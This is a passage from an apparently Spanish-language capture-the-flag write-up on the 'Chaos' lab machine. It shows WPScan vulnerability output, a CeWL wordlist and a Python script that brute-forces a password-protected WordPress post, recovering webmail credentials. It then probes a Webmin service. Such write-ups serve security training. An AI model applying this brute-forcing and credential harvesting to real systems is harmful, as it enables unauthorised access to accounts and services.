</span></span><span style="display:flex;"><span>[+] http://10.10.10.120/wp/wordpress/xmlrpc.php
</span></span><span style="display:flex;"><span> | Found By: Direct Access (Aggressive Detection)
</span></span><span style="display:flex;"><span> | Confidence: 100%
</span></span><span style="display:flex;"><span> | References:
</span></span><span style="display:flex;"><span> |  - http://codex.wordpress.org/XML-RPC_Pingback_API
</span></span><span style="display:flex;"><span> |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
</span></span><span style="display:flex;"><span> |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
</span></span><span style="display:flex;"><span> |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
</span></span><span style="display:flex;"><span> |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] http://10.10.10.120/wp/wordpress/readme.html
</span></span><span style="display:flex;"><span> | Found By: Direct Access (Aggressive Detection)
</span></span><span style="display:flex;"><span> | Confidence: 100%
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] http://10.10.10.120/wp/wordpress/wp-cron.php
</span></span><span style="display:flex;"><span> | Found By: Direct Access (Aggressive Detection)
</span></span><span style="display:flex;"><span> | Confidence: 60%
</span></span><span style="display:flex;"><span> | References:
</span></span><span style="display:flex;"><span> |  - https://www.iplocation.net/defend-wordpress-from-ddos
</span></span><span style="display:flex;"><span> |  - https://github.com/wpscanteam/wpscan/issues/1299
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
</span></span><span style="display:flex;"><span> | Detected By: Rss Generator (Passive Detection)
</span></span><span style="display:flex;"><span> |  - http://10.10.10.120/wp/wordpress/index.php/feed/, &lt;generator&gt;https://wordpress.org/?v=4.9.8&lt;/generator&gt;
</span></span><span style="display:flex;"><span> |  - http://10.10.10.120/wp/wordpress/index.php/comments/feed/, &lt;generator&gt;https://wordpress.org/?v=4.9.8&lt;/generator&gt;
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | [!] 9 vulnerabilities identified:
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | [!] Title: WordPress &lt;= 5.0 - Authenticated File Delete
</span></span><span style="display:flex;"><span> |     Fixed in: 4.9.9
</span></span><span style="display:flex;"><span> |     References:
</span></span><span style="display:flex;"><span> |      - https://wpvulndb.com/vulnerabilities/9169
</span></span><span style="display:flex;"><span> |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20147
</span></span><span style="display:flex;"><span> |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | [!] Title: WordPress &lt;= 5.0 - Authenticated Post Type Bypass
</span></span><span style="display:flex;"><span> |     Fixed in: 4.9.9
</span></span><span style="display:flex;"><span> |     References:
</span></span><span style="display:flex;"><span> |      - https://wpvulndb.com/vulnerabilities/9170
</span></span><span style="display:flex;"><span> |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20152
</span></span><span style="display:flex;"><span> |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
</span></span><span style="display:flex;"><span> |      - https://blog.ripstech.com/2018/wordpress-post-type-privilege-escalation/
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | [!] Title: WordPress &lt;= 5.0 - PHP Object Injection via Meta Data
</span></span><span style="display:flex;"><span> |     Fixed in: 4.9.9
</span></span><span style="display:flex;"><span> |     References:
</span></span><span style="display:flex;"><span> |      - https://wpvulndb.com/vulnerabilities/9171
</span></span><span style="display:flex;"><span> |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20148
</span></span><span style="display:flex;"><span> |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | [!] Title: WordPress &lt;= 5.0 - Authenticated Cross-Site Scripting (XSS)
</span></span><span style="display:flex;"><span> |     Fixed in: 4.9.9
</span></span><span style="display:flex;"><span> |     References:
</span></span><span style="display:flex;"><span> |      - https://wpvulndb.com/vulnerabilities/9172
</span></span><span style="display:flex;"><span> |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20153
</span></span><span style="display:flex;"><span> |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | [!] Title: WordPress &lt;= 5.0 - Cross-Site Scripting (XSS) that could affect plugins
</span></span><span style="display:flex;"><span> |     Fixed in: 4.9.9
</span></span><span style="display:flex;"><span> |     References:
</span></span><span style="display:flex;"><span> |      - https://wpvulndb.com/vulnerabilities/9173
</span></span><span style="display:flex;"><span> |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20150
</span></span><span style="display:flex;"><span> |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
</span></span><span style="display:flex;"><span> |      - https://github.com/WordPress/WordPress/commit/fb3c6ea0618fcb9a51d4f2c1940e9efcd4a2d460
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | [!] Title: WordPress &lt;= 5.0 - User Activation Screen Search Engine Indexing
</span></span><span style="display:flex;"><span> |     Fixed in: 4.9.9
</span></span><span style="display:flex;"><span> |     References:
</span></span><span style="display:flex;"><span> |      - https://wpvulndb.com/vulnerabilities/9174
</span></span><span style="display:flex;"><span> |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20151
</span></span><span style="display:flex;"><span> |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | [!] Title: WordPress &lt;= 5.0 - File Upload to XSS on Apache Web Servers
</span></span><span style="display:flex;"><span> |     Fixed in: 4.9.9
</span></span><span style="display:flex;"><span> |     References:
</span></span><span style="display:flex;"><span> |      - https://wpvulndb.com/vulnerabilities/9175
</span></span><span style="display:flex;"><span> |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20149
</span></span><span style="display:flex;"><span> |      - https://wordpress.org/news/2018/12/wordpress-5-0-1-security-release/
</span></span><span style="display:flex;"><span> |      - https://github.com/WordPress/WordPress/commit/246a70bdbfac3bd45ff71c7941deef1bb206b19a
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | [!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
</span></span><span style="display:flex;"><span> |     Fixed in: 4.9.9
</span></span><span style="display:flex;"><span> |     References:
</span></span><span style="display:flex;"><span> |      - https://wpvulndb.com/vulnerabilities/9222
</span></span><span style="display:flex;"><span> |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
</span></span><span style="display:flex;"><span> |      - https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | [!] Title: WordPress 3.9-5.1 - Comment Cross-Site Scripting (XSS)
</span></span><span style="display:flex;"><span> |     Fixed in: 4.9.10
</span></span><span style="display:flex;"><span> |     References:
</span></span><span style="display:flex;"><span> |      - https://wpvulndb.com/vulnerabilities/9230
</span></span><span style="display:flex;"><span> |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9787
</span></span><span style="display:flex;"><span> |      - https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b
</span></span><span style="display:flex;"><span> |      - https://wordpress.org/news/2019/03/wordpress-5-1-1-security-and-maintenance-release/
</span></span><span style="display:flex;"><span> |      - https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] WordPress theme in use: twentyseventeen
</span></span><span style="display:flex;"><span> | Location: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/
</span></span><span style="display:flex;"><span> | Last Updated: 2019-02-21T00:00:00.000Z
</span></span><span style="display:flex;"><span> | Readme: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/README.txt
</span></span><span style="display:flex;"><span> | [!] The version is out of date, the latest version is 2.1
</span></span><span style="display:flex;"><span> | Style URL: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8
</span></span><span style="display:flex;"><span> | Style Name: Twenty Seventeen
</span></span><span style="display:flex;"><span> | Style URI: https://wordpress.org/themes/twentyseventeen/
</span></span><span style="display:flex;"><span> | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
</span></span><span style="display:flex;"><span> | Author: the WordPress team
</span></span><span style="display:flex;"><span> | Author URI: https://wordpress.org/
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | Detected By: Css Style (Passive Detection)
</span></span><span style="display:flex;"><span> |
</span></span><span style="display:flex;"><span> | Version: 1.7 (80% confidence)
</span></span><span style="display:flex;"><span> | Detected By: Style (Passive Detection)
</span></span><span style="display:flex;"><span> |  - http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8, Match: &#39;Version: 1.7&#39;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Enumerating All Plugins (via Passive Methods)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[i] No plugins Found.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Enumerating Config Backups (via Passive and Aggressive Methods)
</span></span><span style="display:flex;"><span> Checking Config Backups - Time: 00:00:01 &lt;==========================================================&gt; (21 / 21) 100.00% Time: 00:00:01
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[i] No Config Backups Found.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Finished: Sun Apr 14 00:06:57 2019
</span></span><span style="display:flex;"><span>[+] Requests Done: 68
</span></span><span style="display:flex;"><span>[+] Cached Requests: 5
</span></span><span style="display:flex;"><span>[+] Data Sent: 12.623 KB
</span></span><span style="display:flex;"><span>[+] Data Received: 23.389 MB
</span></span><span style="display:flex;"><span>[+] Memory used: 157.762 MB
</span></span><span style="display:flex;"><span>[+] Elapsed time: 00:00:15
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/git/wpscan$
</span></span></code></pre></div><p><code>WPScan</code> encuentra 9 vulnerabilidades posibles basadas en changelogs y versiones superiores, ahora solo falta ver si tenemos alguna viable.</p>
<p>Si abrimos la pagina en el navegador tendremos un articulo progetido por contraseña:</p>
<p><img src="/img/htb-chaos/www-wp-content.png" alt="Content of wordpress"></p>
<p>Si la experiencia nos ha enseñado algo en este punto, es que la contraseña debió ser dejada aquí o en otro servicio. Así que apliquemos el primer approach.</p>
<ol>
<li>Visitar el post original</li>
</ol>
<p>Vamos al post original http://10.10.10.120/wp/wordpress/index.php/2018/10/28/chaos/.</p>
<p><img src="/img/htb-chaos/www-wp-protected.png" alt="Content of Chaos protected"></p>
<ol start="2">
<li>Generar un diccionario con las palabras del post</li>
</ol>
<p>Ahora que estamos sobre nuestro objetivo, busquemos pistas:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/blog$ cewl http://10.10.10.120/wp/wordpress/index.php/2018/10/28/chaos/
</span></span><span style="display:flex;"><span>CeWL 5.4.4.1 (Arkanoid) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
</span></span><span style="display:flex;"><span>chaos
</span></span><span style="display:flex;"><span>WordPress
</span></span><span style="display:flex;"><span>site
</span></span><span style="display:flex;"><span>content
</span></span><span style="display:flex;"><span>Comments
</span></span><span style="display:flex;"><span>wrap
</span></span><span style="display:flex;"><span>entry
</span></span><span style="display:flex;"><span>password
</span></span><span style="display:flex;"><span>header
</span></span><span style="display:flex;"><span>October
</span></span><span style="display:flex;"><span>Protected
</span></span><span style="display:flex;"><span>Feed
</span></span><span style="display:flex;"><span>branding
</span></span><span style="display:flex;"><span>Search
</span></span><span style="display:flex;"><span>Recent
</span></span><span style="display:flex;"><span>RSS
</span></span><span style="display:flex;"><span>Really
</span></span><span style="display:flex;"><span>Simple
</span></span><span style="display:flex;"><span>Syndication
</span></span><span style="display:flex;"><span>Powered
</span></span><span style="display:flex;"><span>wordpress
</span></span><span style="display:flex;"><span>Just
</span></span><span style="display:flex;"><span>another
</span></span><span style="display:flex;"><span>your
</span></span><span style="display:flex;"><span>Password
</span></span><span style="display:flex;"><span>enter
</span></span><span style="display:flex;"><span>Posts
</span></span><span style="display:flex;"><span>Log
</span></span><span style="display:flex;"><span>org
</span></span><span style="display:flex;"><span>page
</span></span><span style="display:flex;"><span>http
</span></span><span style="display:flex;"><span>This
</span></span><span style="display:flex;"><span>protected
</span></span><span style="display:flex;"><span>view
</span></span><span style="display:flex;"><span>please
</span></span><span style="display:flex;"><span>below
</span></span><span style="display:flex;"><span>for
</span></span><span style="display:flex;"><span>Skip
</span></span><span style="display:flex;"><span>text
</span></span><span style="display:flex;"><span>custom
</span></span><span style="display:flex;"><span>masthead
</span></span><span style="display:flex;"><span>Posted
</span></span><span style="display:flex;"><span>human
</span></span><span style="display:flex;"><span>meta
</span></span><span style="display:flex;"><span>post
</span></span><span style="display:flex;"><span>main
</span></span><span style="display:flex;"><span>primary
</span></span><span style="display:flex;"><span>Archives
</span></span><span style="display:flex;"><span>Categories
</span></span><span style="display:flex;"><span>Uncategorized
</span></span><span style="display:flex;"><span>Meta
</span></span><span style="display:flex;"><span>Entries
</span></span><span style="display:flex;"><span>secondary
</span></span><span style="display:flex;"><span>Proudly
</span></span><span style="display:flex;"><span>powered
</span></span><span style="display:flex;"><span>info
</span></span><span style="display:flex;"><span>colophon
</span></span><span style="display:flex;"><span>contain
</span></span><span style="display:flex;"><span>RSD
</span></span><span style="display:flex;"><span>state
</span></span><span style="display:flex;"><span>the
</span></span><span style="display:flex;"><span>art
</span></span><span style="display:flex;"><span>semantic
</span></span><span style="display:flex;"><span>personal
</span></span><span style="display:flex;"><span>publishing
</span></span><span style="display:flex;"><span>platform
</span></span><span style="display:flex;"><span>index
</span></span><span style="display:flex;"><span>php
</span></span><span style="display:flex;"><span>Username
</span></span><span style="display:flex;"><span>Email
</span></span><span style="display:flex;"><span>Address
</span></span><span style="display:flex;"><span>Lost
</span></span><span style="display:flex;"><span>Back
</span></span><span style="display:flex;"><span>Sun
</span></span><span style="display:flex;"><span>Oct
</span></span><span style="display:flex;"><span>hourly
</span></span><span style="display:flex;"><span>https
</span></span><span style="display:flex;"><span>email
</span></span><span style="display:flex;"><span>Scroll
</span></span><span style="display:flex;"><span>down
</span></span><span style="display:flex;"><span>Author
</span></span><span style="display:flex;"><span>Month
</span></span><span style="display:flex;"><span>Remember
</span></span><span style="display:flex;"><span>respond
</span></span><span style="display:flex;"><span>feed
</span></span><span style="display:flex;"><span>Sat
</span></span><span style="display:flex;"><span>May
</span></span><span style="display:flex;"><span>Please
</span></span><span style="display:flex;"><span>username
</span></span><span style="display:flex;"><span>address
</span></span><span style="display:flex;"><span>You
</span></span><span style="display:flex;"><span>will
</span></span><span style="display:flex;"><span>receive
</span></span><span style="display:flex;"><span>link
</span></span><span style="display:flex;"><span>create
</span></span><span style="display:flex;"><span>new
</span></span><span style="display:flex;"><span>via
</span></span><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ cewl http://10.10.10.120/wp/wordpress/ | grep -v &#34;robin@digi.ninja&#34; &gt; postpass.dic
</span></span></code></pre></div><ol start="3">
<li>Probar cada palabra en el diccionario</li>
</ol>
<p>Aquí una nota importante, al menos yo no encontré una herramienta que haga todo el trabajo y que me ayude a hacer este <em>brute-forcing</em>&hellip; pero afortunadamente existe <strong>python</strong>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># -*- coding: utf8 -*-</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> requests
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> bs4 <span style="color:#f92672">import</span> BeautifulSoup
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>():
</span></span><span style="display:flex;"><span>    base_url <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;http://10.10.10.120&#34;</span>
</span></span><span style="display:flex;"><span>    url_form_passwd <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/wp/wordpress/wp-login.php?action=postpass&#34;</span>
</span></span><span style="display:flex;"><span>    url_chaos_post <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/wp/wordpress/index.php/2018/10/28/chaos/&#34;</span>
</span></span><span style="display:flex;"><span>    headers <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;Content-Type&#34;</span>:<span style="color:#e6db74">&#34;application/x-www-form-urlencoded&#34;</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    dic <span style="color:#f92672">=</span> open(<span style="color:#e6db74">&#34;postpass.dic&#34;</span>, <span style="color:#e6db74">&#34;r&#34;</span>)<span style="color:#f92672">.</span>readlines()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> password <span style="color:#f92672">in</span> dic:
</span></span><span style="display:flex;"><span>        session <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>Session()
</span></span><span style="display:flex;"><span>        passPost <span style="color:#f92672">=</span> {<span style="color:#e6db74">&#34;Submit&#34;</span>:<span style="color:#e6db74">&#34;Enter&#34;</span>, <span style="color:#e6db74">&#34;post_password&#34;</span>:password[:<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        res <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>post(base_url <span style="color:#f92672">+</span> url_form_passwd, data<span style="color:#f92672">=</span>passPost, headers<span style="color:#f92672">=</span>headers)
</span></span><span style="display:flex;"><span>        cookiesLogin <span style="color:#f92672">=</span> res<span style="color:#f92672">.</span>cookies
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        res <span style="color:#f92672">=</span> session<span style="color:#f92672">.</span>get(base_url <span style="color:#f92672">+</span> url_chaos_post, cookies<span style="color:#f92672">=</span>cookiesLogin)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        soup <span style="color:#f92672">=</span> BeautifulSoup(res<span style="color:#f92672">.</span>text, features<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;lxml&#34;</span>)
</span></span><span style="display:flex;"><span>        entryContent <span style="color:#f92672">=</span> soup<span style="color:#f92672">.</span>find(<span style="color:#e6db74">&#34;div&#34;</span>, <span style="color:#e6db74">&#34;entry-content&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> <span style="color:#e6db74">&#34;This content is password protected.&#34;</span> <span style="color:#f92672">not</span> <span style="color:#f92672">in</span> str(entryContent):
</span></span><span style="display:flex;"><span>            print <span style="color:#e6db74">&#34;La contraseña del post es: &#34;</span> <span style="color:#f92672">+</span> password <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;El contenido protegido es: </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span> <span style="color:#f92672">+</span> str(entryContent)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><p>Después de ejecutar este script, tendremos la siguiente salida:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ python post_brute-forcer.py
</span></span><span style="display:flex;"><span>La contraseña del post es: human
</span></span><span style="display:flex;"><span>El contenido protegido es:
</span></span><span style="display:flex;"><span>&lt;div class=&#34;entry-content&#34;&gt;
</span></span><span style="display:flex;"><span>&lt;p&gt;Creds for webmail :&lt;/p&gt;
</span></span><span style="display:flex;"><span>&lt;p&gt;username – ayush&lt;/p&gt;
</span></span><span style="display:flex;"><span>&lt;p&gt;password – jiujitsu&lt;/p&gt;
</span></span><span style="display:flex;"><span>&lt;/div&gt;
</span></span></code></pre></div><p>Verificamos en el navegador:</p>
<p><img src="/img/htb-chaos/www-wp-unprotected.png" alt="Content of Chaos entry"></p>
<p>Lo cual corresponde a las credenciales del webmail (TCP/10000) que encontramos antes.</p>
<blockquote>
<p>creds: ayush / jiujitsu</p>
</blockquote>
<h1 id="service-http-over-tcp10000">Service HTTP over TCP/10000</h1>
<p>Empezamos por tratar de conectarnos al servidor:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ http 10.10.10.120:10000
</span></span><span style="display:flex;"><span>HTTP/1.0 200 Document follows
</span></span><span style="display:flex;"><span>Connection: close
</span></span><span style="display:flex;"><span>Content-type: text/html; Charset=iso-8859-1
</span></span><span style="display:flex;"><span>Date: Sat, 14 Apr 2019 18:37:55 GMT
</span></span><span style="display:flex;"><span>Server: MiniServ/1.890
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;h1&gt;Error - Document follows&lt;/h1&gt;
</span></span><span style="display:flex;"><span>&lt;p&gt;This web server is running in SSL mode. Try the URL &lt;a href=&#39;https://chaos:10000/&#39;&gt;https://chaos:10000/&lt;/a&gt; instead.&lt;br&gt;&lt;/p&gt;
</span></span></code></pre></div><p>Nos indica que necesita cambiar la conexion de HTTP a HTTPS:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>xbytemx@laptop:~/htb/chaos$ http --verify=no https://10.10.10.120:10000
</span></span><span style="display:flex;"><span>HTTP/1.0 200 Document follows
</span></span><span style="display:flex;"><span>Auth-type: auth-required=1
</span></span><span style="display:flex;"><span>Connection: close
</span></span><span style="display:flex;"><span>Content-Security-Policy: script-src &#39;self&#39; &#39;unsafe-inline&#39; &#39;unsafe-eval&#39;; frame-src &#39;self&#39;; child-src &#39;self&#39;
</span></span><span style="display:flex;"><span>Content-type: text/html; Charset=UTF-8
</span></span><span style="display:flex;"><span>Date: Sat, 14 Apr 2019 18:39:14 GMT
</span></span><span style="display:flex;"><span>Server: MiniServ/1.890
</span></span><span style="display:flex;"><span>Set-Cookie: redirect=1; path=/
</span></span><span style="display:flex;"><span>Set-Cookie: testing=1; path=/; secure
</span></span><span style="display:flex;"><span>X-Frame-Options: SAMEORIGIN
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">&lt;!DOCTYPE HTML&gt;</span>
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">html</span> <span style="color:#a6e22e">data-background-style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;gainsboro&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;session_login&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">head</span>&gt;
</span></span><span style="display:flex;"><span> &lt;<span style="color:#f92672">noscript</span>&gt; &lt;<span style="color:#f92672">style</span>&gt; <span style="color:#f92672">html</span><span style="color:#f92672">[</span><span style="color:#f92672">data-background-style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;gainsboro&#34;</span><span style="color:#f92672">]</span> { <span style="color:#66d9ef">background-color</span>: <span style="color:#ae81ff">#d6d6d6</span>; } <span style="color:#f92672">html</span><span style="color:#f92672">[</span><span style="color:#f92672">data-background-style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nightRider&#34;</span><span style="color:#f92672">]</span> { <span style="color:#66d9ef">background-color</span>: <span style="color:#ae81ff">#1a1c20</span>; } <span style="color:#f92672">html</span><span style="color:#f92672">[</span><span style="color:#f92672">data-background-style</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;nightRider&#34;</span><span style="color:#f92672">]</span> <span style="color:#f92672">div</span><span style="color:#f92672">[</span><span style="color:#f92672">data-noscript</span><span style="color:#f92672">]</span> { <span style="color:#66d9ef">color</span>: <span style="color:#ae81ff">#979ba0</span><span style="color:#ae81ff">80</span>; } <span style="color:#f92672">html</span><span style="color:#f92672">[</span><span style="color:#f92672">data-slider-fixed</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#39;1&#39;</span><span style="color:#f92672">]</span> { <span style="color:#66d9ef">margin-right</span>: <span style="color:#ae81ff">0</span> <span style="color:#75715e">!important</span>; } <span style="color:#f92672">body</span> <span style="color:#f92672">&gt;</span> <span style="color:#f92672">div</span><span style="color:#f92672">[</span><span style="color:#f92672">data-noscript</span><span style="color:#f92672">]</span> <span style="color:#f92672">~</span> <span style="color:#f92672">*</span> { <span style="color:#66d9ef">display</span>: <span style="color:#66d9ef">none</span> <span style="color:#75715e">!important</span>; } <span style="color:#f92672">div</span><span style="color:#f92672">[</span><span style="color:#f92672">data-noscript</span><span style="color:#f92672">]</span> { <span style="color:#66d9ef">visibility</span>: <span style="color:#66d9ef">hidden</span>; <span style="color:#66d9ef">animation</span>: <span style="color:#ae81ff">2</span><span style="color:#66d9ef">s</span> noscript-fadein; <span style="color:#66d9ef">animation-delay</span>: <span style="color:#ae81ff">1</span><span style="color:#66d9ef">s</span>; <span style="color:#66d9ef">text-align</span>: <span style="color:#66d9ef">center</span>; <span style="color:#66d9ef">animation-fill-mode</span>: <span style="color:#66d9ef">forwards</span>; } @<span style="color:#66d9ef">keyframes</span> <span style="color:#f92672">noscript-fadein</span> { <span style="color:#f92672">0</span><span style="color:#f92672">%</span> { <span style="color:#66d9ef">opacity</span>: <span style="color:#ae81ff">0</span>; } <span style="color:#f92672">100</span><span style="color:#f92672">%</span> { <span style="color:#66d9ef">visibility</span>: <span style="color:#66d9ef">visible</span>; <span style="color:#66d9ef">opacity</span>: <span style="color:#ae81ff">1</span>; } } &lt;/<span style="color:#f92672">style</span>&gt; &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">data-noscript</span>&gt; &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;fa fa-3x fa-exclamation-triangle margined-top-20 text-danger&#34;</span>&gt;&lt;/<span style="color:#f92672">div</span>&gt; &lt;<span style="color:#f92672">h2</span>&gt;JavaScript is disabled&lt;/<span style="color:#f92672">h2</span>&gt; &lt;<span style="color:#f92672">p</span>&gt;Please enable javascript and refresh the page&lt;/<span style="color:#f92672">p</span>&gt; &lt;/<span style="color:#f92672">div</span>&gt; &lt;/<span style="color:#f92672">noscript</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">charset</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;utf-8&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">title</span>&gt;Login to Webmin&lt;/<span style="color:#f92672">title</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;shortcut icon&#34;</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/images/favicon-webmin.ico&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">meta</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;viewport&#34;</span> <span style="color:#a6e22e">content</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;width=device-width, initial-scale=1.0&#34;</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">link</span> <span style="color:#a6e22e">href</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/unauthenticated/css/bundle.min.css?1919999999999911&#34;</span> <span style="color:#a6e22e">rel</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;stylesheet&#34;</span>&gt;
